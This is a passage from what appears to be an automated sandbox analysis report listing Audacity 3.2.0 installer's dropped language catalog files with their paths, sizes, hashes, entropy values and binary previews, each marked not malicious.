Preview:	................tw..............x>......y>.......>..'....?..:...??..6...z?.......?......K@..S....@..G...3A..*...{A..K....A.......A..m....B.......C.......C......iD.......E.......F......#F......-F......:F......CF......JF......VF......dF......oF......yF.......F.......F..g....F..P....F......PG.......G..1....G.......H.......H.......I......fJ.......J.......K......jL......$M.......M.......N.......O.......O.......P..0....P.......Q......IQ..4...[Q.......Q.......Q.......Q.......Q.......Q.......Q.......Q.......Q.......Q.......Q.......Q.......Q.......Q.......R.......R.......R.......R......:R......UR......]R......dR.......R.......R.......R.......R.......R.......R.......R.......R.......R.......R.......S.......S.......S..8..."S..;...[S.......S.......S.......S.......S.......T.......T..(....T......BT......IT......PT......\T......bT......hT......nT......yT.......T.......T.......T..J....T.......T.......T.......U..-....U..%...7U..$...]U.......U.......U..S....U.......U..F....V......NV......[V......eV......

C:\Program Files\Audacity\Languages\mr\is-NDISD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 3819 messages, Project-Id-Version: audacity 3.0.3 '\011 \340\244\206\340\244\243\340\244\277'
Category:	dropped
Size (bytes):	470089
Entropy (8bit):	5.210610613201499
Encrypted:	false
SSDEEP:	3072:Jt7mEdHRygQQ02+cWE0sZoa3VAKxVRDj4BvowstO8SIoc+9A9+qEtCdLAs0n/W4M:XmpQHW9URDjmortOKoc+9A9t081pXamp
MD5:	F3DE73D5E3E0CA5466B42B1B9B04C4F9
SHA1:	BC7522D4488B2D2D3D0A7D58F4BE10D160F9C93B
SHA-256:	046451C926DAF499A1AE94DF113A5BDD49E6B44CD7E477181A61900DECA59CF2
SHA-512:	FF64FE9281D1B3C9B6B25D590B60206C6C0626278A70E3F5869EFFC0B4CD161B6A371F175325C29AC95C3704D84110906EDC33CCAD1553090C205A63F4614EBC
Malicious:	false
Preview:	................tw..............x>......y>.......>..'....?..:...??..6...z?.......?......K@..S....@..G...3A..*...{A..K....A.......A..m....B.......C.......C......iD.......E.......F......#F......-F......:F......CF......JF......VF......dF......oF......yF.......F.......F..g....F..P....F......PG.......G..1....G.......H.......H.......I......fJ.......J.......K......jL......$M.......M.......N.......O.......O.......P..0....P.......Q......IQ..4...[Q.......Q.......Q.......Q.......Q.......Q.......Q.......Q.......Q.......Q.......Q.......Q.......Q.......Q.......R.......R.......R.......R......:R......UR......]R......dR.......R.......R.......R.......R.......R.......R.......R.......R.......R.......R.......S.......S.......S..8..."S..;...[S.......S.......S.......S.......S.......T.......T..(....T......BT......IT......PT......\T......bT......hT......nT......yT.......T.......T.......T..J....T.......T.......T.......U..-....U..%...7U..$...]U.......U.......U..S....U.......U..F....V......NV......[V......eV......

C:\Program Files\Audacity\Languages\my\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1012 messages, Project-Id-Version: audacity 3.0.3 '\341\200\236\341\200\255\341\200\231\341\200\272\341\200\270\341\200\206\341\200\212\341\200\272\341\200\270\341\200\201\341\200\262\341\200\267\341\200\233\341\200\204\341\200\272\341\201\212 \341\200\205\341\200\256\341\200\231\341\200\266\341\200\201\341\200\273\341\200\200\341\200\272\341\200\231\341\200\276\341\200\254 \341\200\241\341\200\236\341\200\266\341\200\234\341\200\231\341\200\272\341\200\270\341\200\200\341\200\274\341\200\261\341\200\254 \341\200\233\341\200\276\341\200\255\341'
Category:	dropped
Size (bytes):	134237
Entropy (8bit):	4.844621521824231
Encrypted:	false
SSDEEP:	3072:hWbXVopmZZozKvvCrxbA0GqNBEP29Q4IMZeYRsk+I6a0egtt7mautd3i5zclyfF9:cXVk0ClbAYSsoV
MD5:	BBEE571ADA8CFDF1A08739C0F904386C
SHA1:	935802CA6F79394AA6766DAC33C0F028C490509B
SHA-256:	9EC01365A412C19E0D246F5A4C766CD30B9186080DF776828CBC410C5A9F725E
SHA-512:	3E10BA3EC97B7F29EFEE9ED425885A350655E1ECE1E0C1953CCA96CA686A705129397F29E556F9AB327B390E80673777939AB1E84E7D1FE6702A99E9A6F9217A
Malicious:	false
Preview:	....................Q...\?.......T.......T......;U......DU......OU......XU..1....U.......V.......V.......W......VX.......X.......Y......ZZ.......[.......[......F\.......\.......^..4...!^......V^......]^......g^......n^......u^.......^..%....^.......^.......^.......^.......^.......^.......^..(....^......._......!_......(_....../_......D_......M_......S_......X_......b_......j_......z_.."...._......._......._......._......._......._......._......._......._......._.......`.......`.......`.......`......&`......1`......L`......U`......^`......o`......t`......z`......~`.......`.......`.......`.......`.......`.......`.......`.......`.......`.......`.......`.......`.......a...... a......2a......@a......Ia......Qa......da......oa......}a.......a.......a.......a.......a.......a.......a.......a.......a.......a.......a..,....a..%...(b..1...Nb..#....b..$....b..$....b.......b.......b.......c...... c......3c..*...Qc......\|c.......c.......c.......c.......c.......d......'d......=d......Sd......rd......

C:\Program Files\Audacity\Languages\my\is-PIIHM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1012 messages, Project-Id-Version: audacity 3.0.3 '\341\200\236\341\200\255\341\200\231\341\200\272\341\200\270\341\200\206\341\200\212\341\200\272\341\200\270\341\200\201\341\200\262\341\200\267\341\200\233\341\200\204\341\200\272\341\201\212 \341\200\205\341\200\256\341\200\231\341\200\266\341\200\201\341\200\273\341\200\200\341\200\272\341\200\231\341\200\276\341\200\254 \341\200\241\341\200\236\341\200\266\341\200\234\341\200\231\341\200\272\341\200\270\341\200\200\341\200\274\341\200\261\341\200\254 \341\200\233\341\200\276\341\200\255\341'
Category:	dropped
Size (bytes):	134237
Entropy (8bit):	4.844621521824231
Encrypted:	false
SSDEEP:	3072:hWbXVopmZZozKvvCrxbA0GqNBEP29Q4IMZeYRsk+I6a0egtt7mautd3i5zclyfF9:cXVk0ClbAYSsoV
MD5:	BBEE571ADA8CFDF1A08739C0F904386C
SHA1:	935802CA6F79394AA6766DAC33C0F028C490509B
SHA-256:	9EC01365A412C19E0D246F5A4C766CD30B9186080DF776828CBC410C5A9F725E
SHA-512:	3E10BA3EC97B7F29EFEE9ED425885A350655E1ECE1E0C1953CCA96CA686A705129397F29E556F9AB327B390E80673777939AB1E84E7D1FE6702A99E9A6F9217A
Malicious:	false
Preview:	....................Q...\?.......T.......T......;U......DU......OU......XU..1....U.......V.......V.......W......VX.......X.......Y......ZZ.......[.......[......F\.......\.......^..4...!^......V^......]^......g^......n^......u^.......^..%....^.......^.......^.......^.......^.......^.......^..(....^......._......!_......(_....../_......D_......M_......S_......X_......b_......j_......z_.."...._......._......._......._......._......._......._......._......._......._.......`.......`.......`.......`......&`......1`......L`......U`......^`......o`......t`......z`......~`.......`.......`.......`.......`.......`.......`.......`.......`.......`.......`.......`.......`.......a...... a......2a......@a......Ia......Qa......da......oa......}a.......a.......a.......a.......a.......a.......a.......a.......a.......a.......a..,....a..%...(b..1...Nb..#....b..$....b..$....b.......b.......b.......c...... c......3c..*...Qc......\|c.......c.......c.......c.......c.......d......'d......=d......Sd......rd......

C:\Program Files\Audacity\Languages\nb\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4325 messages, Project-Id-Version: audacity 3.2 '\011 og'
Category:	dropped
Size (bytes):	342703
Entropy (8bit):	5.435149261095542
Encrypted:	false
SSDEEP:	6144:iy5UeLyoGlSXkVRDj0ojitnsc+XA7fqvHcWO0LXAKOWX+NoIU:QmGY2xnA7fk1ONoIU
MD5:	ECB024A09BBDDD51E1601E41978807C7
SHA1:	095B34D49D699E1931502E66B588D681034A4577
SHA-256:	91367AACC0FB6CB30289BE1A0A92E0D55E6CEF468ACF16D447E42EAC087C855E
SHA-512:	E1798CDF84EDD02F8E3FF9B38105A3C2A349E5DC4058F91F2ABED3684936B8380372E97C95E5948B77C7EA90996B5C881592B8D0B7704D6A7523F8785C7CC594
Malicious:	false
Preview:	................D.......l........h.......h.......h..'...Wi..:....i.......i..$....i..6....i..(....j......Cj.......j..\|...qk..S....k..G...Bl..*....l..K....l.......m..m....m.......n.......n......xo......"p......)q......2q......<q......Iq......Rq......Yq......eq......sq......~q.......q.......q.......q..g....q..P....r......_r..F....r......:s..1...Rs.......s......%t......"u.......u......Mv.......v.......w......zx.......y.......y......tz.......{......4\|..0...S\|.......\|.......\|..4....\|.......\|.......\|.......\|.......\|.......}.......}...... }......'}....../}......9}......@}......H}......T}......^}......h}......n}......s}.......}.......}.......}.......}.......}.......}.......}.......}.......~.......~......3~......9~......J~......R~......g~......n~......r~..8...x~..;....~.......~..........7...(.......`.......{...........R.......0...........#...(...+.......T.......\.......c.......j.......v.......\|...................................................J..............................-...#.......Q...%...

C:\Program Files\Audacity\Languages\nb\is-B1TJE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4325 messages, Project-Id-Version: audacity 3.2 '\011 og'
Category:	dropped
Size (bytes):	342703
Entropy (8bit):	5.435149261095542
Encrypted:	false
SSDEEP:	6144:iy5UeLyoGlSXkVRDj0ojitnsc+XA7fqvHcWO0LXAKOWX+NoIU:QmGY2xnA7fk1ONoIU
MD5:	ECB024A09BBDDD51E1601E41978807C7
SHA1:	095B34D49D699E1931502E66B588D681034A4577
SHA-256:	91367AACC0FB6CB30289BE1A0A92E0D55E6CEF468ACF16D447E42EAC087C855E
SHA-512:	E1798CDF84EDD02F8E3FF9B38105A3C2A349E5DC4058F91F2ABED3684936B8380372E97C95E5948B77C7EA90996B5C881592B8D0B7704D6A7523F8785C7CC594
Malicious:	false
Preview:	................D.......l........h.......h.......h..'...Wi..:....i.......i..$....i..6....i..(....j......Cj.......j..\|...qk..S....k..G...Bl..*....l..K....l.......m..m....m.......n.......n......xo......"p......)q......2q......<q......Iq......Rq......Yq......eq......sq......~q.......q.......q.......q..g....q..P....r......_r..F....r......:s..1...Rs.......s......%t......"u.......u......Mv.......v.......w......zx.......y.......y......tz.......{......4\|..0...S\|.......\|.......\|..4....\|.......\|.......\|.......\|.......\|.......}.......}...... }......'}....../}......9}......@}......H}......T}......^}......h}......n}......s}.......}.......}.......}.......}.......}.......}.......}.......}.......~.......~......3~......9~......J~......R~......g~......n~......r~..8...x~..;....~.......~..........7...(.......`.......{...........R.......0...........#...(...+.......T.......\.......c.......j.......v.......\|...................................................J..............................-...#.......Q...%...

C:\Program Files\Audacity\Languages\nl\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: audacity 3.0.3 '\011 en'
Category:	dropped
Size (bytes):	351801
Entropy (8bit):	5.3677295807376995
Encrypted:	false
SSDEEP:	6144:6m72Ut2dpDsYRDjIoj5/asc+1A7MyKORxECaU:6NJVVA7MTCaU
MD5:	537C2F2A7591A5AC8DF904487CCDDB3D
SHA1:	CDE8A4DED0570776C6E8D6B902B377697DDEAF81
SHA-256:	3B43BDC08EBF8932119B27760B922E1BA0BE94CCEFE96FD8392F2815C24408FF
SHA-512:	DD19DB14495F94116F81693B2F8DF34E8291AE3369039BDDA449DDDC053A07A6FADDBEAE70DE05B9A1594D8ABB77607F17ABECA2A0CA7F84CBF4D6BC99052A7D
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Languages\nl\is-RTSGB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: audacity 3.0.3 '\011 en'
Category:	dropped
Size (bytes):	351801
Entropy (8bit):	5.3677295807376995
Encrypted:	false
SSDEEP:	6144:6m72Ut2dpDsYRDjIoj5/asc+1A7MyKORxECaU:6NJVVA7MTCaU
MD5:	537C2F2A7591A5AC8DF904487CCDDB3D
SHA1:	CDE8A4DED0570776C6E8D6B902B377697DDEAF81
SHA-256:	3B43BDC08EBF8932119B27760B922E1BA0BE94CCEFE96FD8392F2815C24408FF
SHA-512:	DD19DB14495F94116F81693B2F8DF34E8291AE3369039BDDA449DDDC053A07A6FADDBEAE70DE05B9A1594D8ABB77607F17ABECA2A0CA7F84CBF4D6BC99052A7D
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Languages\oc\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 571 messages, Project-Id-Version: audacity 3.0.3 '%d Canals'
Category:	dropped
Size (bytes):	31485
Entropy (8bit):	5.100401528945195
Encrypted:	false
SSDEEP:	768:ELfCLz6m1WMaRb78SKMQpg4n2OAopLf3FwRVrEDU8VajQbaDNj:Eji4R4n2/opb3FI2U8Vaj6aDNj
MD5:	F39EA52F632FBD7CC767D127C7EB9678
SHA1:	4AF61DD1CE373B703C6C3C0D4F70185B797A76B9
SHA-256:	1BE9E33780F55BC81AA5B2B1979884B560A53D5E8E87C7267F27CA4294B2D04A
SHA-512:	C2A2228043743D708B757E504C0208D95FCCC277C64D2192EA9B5DD19BB2479CE832137050D571851B8177D84E82C57DC00C542475AA8280A8052BE2962E8196
Malicious:	false
Preview:	........;................#......./......./......./......./......./......./......./......./......./..%....0......-0......50......<0......O0......T0......]0......d0......l0......s0......z0.......0.......0.......0.......0.......0.......0.......0.......0.......0.......0.......0.......0.......0.......1.......1.......1......'1.......1......41......?1......D1......H1......Q1......[1......b1......r1......{1.......1.......1.......1.......1.......1.......1.......1.......1.......1.......1.......1.......1.......1.......1.......2......(2......82..,...C2..%...p2..1....2..#....2..$....2.......3.......3.......3...... 3......13......B3......M3......X3......l3.......3.......3.......3.......3.......3.......3.......3.......3.......3.......3.......3.......3.......4.......4.......4......4......04......?4......Q4......Y4......a4......o4......s4.......4.......4.......4.......4.......4.......4.......4.......4.......4.......4.......4.......5..z...5.......5.......5.......5.......5.......5.......5.......6......

C:\Program Files\Audacity\Languages\oc\is-FI563.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 571 messages, Project-Id-Version: audacity 3.0.3 '%d Canals'
Category:	dropped
Size (bytes):	31485
Entropy (8bit):	5.100401528945195
Encrypted:	false
SSDEEP:	768:ELfCLz6m1WMaRb78SKMQpg4n2OAopLf3FwRVrEDU8VajQbaDNj:Eji4R4n2/opb3FI2U8Vaj6aDNj
MD5:	F39EA52F632FBD7CC767D127C7EB9678
SHA1:	4AF61DD1CE373B703C6C3C0D4F70185B797A76B9
SHA-256:	1BE9E33780F55BC81AA5B2B1979884B560A53D5E8E87C7267F27CA4294B2D04A
SHA-512:	C2A2228043743D708B757E504C0208D95FCCC277C64D2192EA9B5DD19BB2479CE832137050D571851B8177D84E82C57DC00C542475AA8280A8052BE2962E8196
Malicious:	false
Preview:	........;................#......./......./......./......./......./......./......./......./......./..%....0......-0......50......<0......O0......T0......]0......d0......l0......s0......z0.......0.......0.......0.......0.......0.......0.......0.......0.......0.......0.......0.......0.......0.......1.......1.......1......'1.......1......41......?1......D1......H1......Q1......[1......b1......r1......{1.......1.......1.......1.......1.......1.......1.......1.......1.......1.......1.......1.......1.......1.......1.......2......(2......82..,...C2..%...p2..1....2..#....2..$....2.......3.......3.......3...... 3......13......B3......M3......X3......l3.......3.......3.......3.......3.......3.......3.......3.......3.......3.......3.......3.......3.......4.......4.......4......4......04......?4......Q4......Y4......a4......o4......s4.......4.......4.......4.......4.......4.......4.......4.......4.......4.......4.......4.......5..z...5.......5.......5.......5.......5.......5.......5.......6......

C:\Program Files\Audacity\Languages\pl\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: audacity 3.2.0 '\011 i'
Category:	dropped
Size (bytes):	360495
Entropy (8bit):	5.596621261751561
Encrypted:	false
SSDEEP:	6144:6m72Ux6xSQAuDsYRDjIoj5/asc+1A7MDHGGeOMeXum9KSDVi6Uzd4BF:6u0zVVA7MDHGGeOMeXum9KKFUzdKF
MD5:	150EC860477DB1A0D88944AC25C4D798
SHA1:	2C3B246E8E54A6DE8BE1296FD9CA1E5BF0069697
SHA-256:	D0B7FA0D1A6DEC14CD200BD3ACF1AED6EAFCA2B1C4E64002BB1DB192363FBBC7
SHA-512:	EA230921D2038EF484114DE4963F19060843F27ABE185BBE323452AD76360BBE30E113406598D62170E666669F0C87DD0BDF0DBBEEC590F2586A16430898C58B
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Languages\pl\is-LEVD6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: audacity 3.2.0 '\011 i'
Category:	dropped
Size (bytes):	360495
Entropy (8bit):	5.596621261751561
Encrypted:	false
SSDEEP:	6144:6m72Ux6xSQAuDsYRDjIoj5/asc+1A7MDHGGeOMeXum9KSDVi6Uzd4BF:6u0zVVA7MDHGGeOMeXum9KKFUzdKF
MD5:	150EC860477DB1A0D88944AC25C4D798
SHA1:	2C3B246E8E54A6DE8BE1296FD9CA1E5BF0069697
SHA-256:	D0B7FA0D1A6DEC14CD200BD3ACF1AED6EAFCA2B1C4E64002BB1DB192363FBBC7
SHA-512:	EA230921D2038EF484114DE4963F19060843F27ABE185BBE323452AD76360BBE30E113406598D62170E666669F0C87DD0BDF0DBBEEC590F2586A16430898C58B
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Languages\pt_BR\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: Audacity '\011 e'
Category:	dropped
Size (bytes):	360082
Entropy (8bit):	5.437304336026565
Encrypted:	false
SSDEEP:	6144:6m72UOQe5wusYRDjIoj5/asc+1A7M5VPQ4E20F7hXh:63NVVA7M5Dgh
MD5:	6241EA9A3C9C931E324A98AC634E5AD3
SHA1:	E9602818321A0E102722D9EF54C0D76B309F576E
SHA-256:	222131A58B0522BD80424363E7F43F001C966DDA539E385598A44EA0092BECDC
SHA-512:	02075A51E640611A357459F02469F267F895F09845A27AAF742D8F2C80919BCF50E0BEA34DE1349A0476A7112F6062892C9B2B49910AE7F7807A1DC3A1AA0191
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Languages\pt_BR\is-IMKJS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: Audacity '\011 e'
Category:	dropped
Size (bytes):	360082
Entropy (8bit):	5.437304336026565
Encrypted:	false
SSDEEP:	6144:6m72UOQe5wusYRDjIoj5/asc+1A7M5VPQ4E20F7hXh:63NVVA7M5Dgh
MD5:	6241EA9A3C9C931E324A98AC634E5AD3
SHA1:	E9602818321A0E102722D9EF54C0D76B309F576E
SHA-256:	222131A58B0522BD80424363E7F43F001C966DDA539E385598A44EA0092BECDC
SHA-512:	02075A51E640611A357459F02469F267F895F09845A27AAF742D8F2C80919BCF50E0BEA34DE1349A0476A7112F6062892C9B2B49910AE7F7807A1DC3A1AA0191
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Languages\pt_PT\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: audacity 3.2.0 '\011 e'
Category:	dropped
Size (bytes):	355951
Entropy (8bit):	5.441374108083211
Encrypted:	false
SSDEEP:	6144:6m72U3zn08ojKsYRDjIoj5/asc+1A7MfRVUMa:6iznyuVVA7MfTja
MD5:	7E6BE8B7F94F5FE6A016560E4ED362D1
SHA1:	66BF8B6C5DE2757EAD4A125B6212F22C66BB7E17
SHA-256:	F2FB9341DD376797E8E65400BE070670B7F5A37031C2652440BB5944524EA743
SHA-512:	15C7CA97A8FCABD61FCA5F3C4B2AA34ACEC1D0B128DE3F1BAC90865C2C5F010E1BC8AD5D68AAF0F1906E8F9230E14D82DEFBEE98C5331D628255D6A5E19C82FC
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Languages\pt_PT\is-CU15K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: audacity 3.2.0 '\011 e'
Category:	dropped
Size (bytes):	355951
Entropy (8bit):	5.441374108083211
Encrypted:	false
SSDEEP:	6144:6m72U3zn08ojKsYRDjIoj5/asc+1A7MfRVUMa:6iznyuVVA7MfTja
MD5:	7E6BE8B7F94F5FE6A016560E4ED362D1
SHA1:	66BF8B6C5DE2757EAD4A125B6212F22C66BB7E17
SHA-256:	F2FB9341DD376797E8E65400BE070670B7F5A37031C2652440BB5944524EA743
SHA-512:	15C7CA97A8FCABD61FCA5F3C4B2AA34ACEC1D0B128DE3F1BAC90865C2C5F010E1BC8AD5D68AAF0F1906E8F9230E14D82DEFBEE98C5331D628255D6A5E19C82FC
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Languages\ro\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 642 messages, Project-Id-Version: audacity 3.0.3 ' Monitorizare '
Category:	dropped
Size (bytes):	39331
Entropy (8bit):	5.1947393204059775
Encrypted:	false
SSDEEP:	768:STbeAmivFL2SQyw+FkB5eoadARyc1vizJhGlcQTyB++p4eh8:WmiBf3SneoadARyS6h6cQmB+Deh8
MD5:	BDE34EABD0E68E4C1797B56B60E8A921
SHA1:	1D78968213BA7F4CFB25F5AE3EAB445204C7A2A7
SHA-256:	2BBAACCBC2185DA23E509034C0DD9D4FC81BEA72731E1BEE02CD23A7A9E66511
SHA-512:	1CB5FC33B77DB3B458CFAB3293C62C9B6B7947B3EE1F42A7B6B0888F02C5E15A46C4AE1CAC30020061AE2F67322B639295A79F751D0B139E75B396F541D8F107
Malicious:	false
Preview:	................,...Y...<(.......5.......5.......5..J....5..%....6......+6......>6......P6......^6......c6......l6......s6......}6.......6.......6.......6.......6.......6.......6.......6.......6.......6.......6.......6.......6.......7.......7...... 7......17......?7......G7......X7......^7......g7......q7......~7.......7.......7.......7.......7.......7.......7.......7.......7.......7.......7.......7.......7.......7.......8.......8......$8......)8....../8......38......<8......H8......O8......V8......n8......~8.......8.......8.......8.......8.......8.......8.......8.......8.......8.......8.......9.......9.......9......&9......09......;9......I9......U9......_9......q9......y9.......9.......9.......9.......9.......9..$....9..,....9.......:...... :......":......+:......F:......W:......\:......`:......c:......j:......u:......{:......}:.......:.......:.......:.......:.......:.......:.......:.......:.......:.......:.......:.......:.......:.......:.......:.......:.......:.......;.......;......

C:\Program Files\Audacity\Languages\ro\is-F0KFG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 642 messages, Project-Id-Version: audacity 3.0.3 ' Monitorizare '
Category:	dropped
Size (bytes):	39331
Entropy (8bit):	5.1947393204059775
Encrypted:	false
SSDEEP:	768:STbeAmivFL2SQyw+FkB5eoadARyc1vizJhGlcQTyB++p4eh8:WmiBf3SneoadARyS6h6cQmB+Deh8
MD5:	BDE34EABD0E68E4C1797B56B60E8A921
SHA1:	1D78968213BA7F4CFB25F5AE3EAB445204C7A2A7
SHA-256:	2BBAACCBC2185DA23E509034C0DD9D4FC81BEA72731E1BEE02CD23A7A9E66511
SHA-512:	1CB5FC33B77DB3B458CFAB3293C62C9B6B7947B3EE1F42A7B6B0888F02C5E15A46C4AE1CAC30020061AE2F67322B639295A79F751D0B139E75B396F541D8F107
Malicious:	false
